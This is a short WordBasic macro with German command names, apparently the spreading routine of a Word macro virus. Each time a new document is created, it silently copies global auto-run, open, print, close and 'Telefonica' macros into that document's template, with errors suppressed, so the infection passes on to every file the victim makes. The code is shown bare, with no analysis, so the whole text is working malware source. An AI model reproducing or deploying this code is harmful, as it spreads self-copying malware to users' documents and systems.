Sub MAIN
DateiNeu .DokVorlageNeu = 1
On Error Resume Next
MakroKopieren "Global:AutoExec", FensterName$() + ":AutoExec", 1
MakroKopieren "Global:AutoOpen", FensterName$() + ":AutoOpen", 1
MakroKopieren "Global:DateiNeu", FensterName$() + ":DateiNeu", 1
MakroKopieren "Global:DateiBeenden", FensterName$() + ":DateiBeenden", 1
MakroKopieren "Global:DateiDrucken", FensterName$() + ":DateiDrucken", 1
MakroKopieren "Global:Telefonica", FensterName$() + ":Telefonica", 1
MakroKopieren "Global:Dateiffnen", FensterName$() + ":Dateiffnen", 1
End Sub
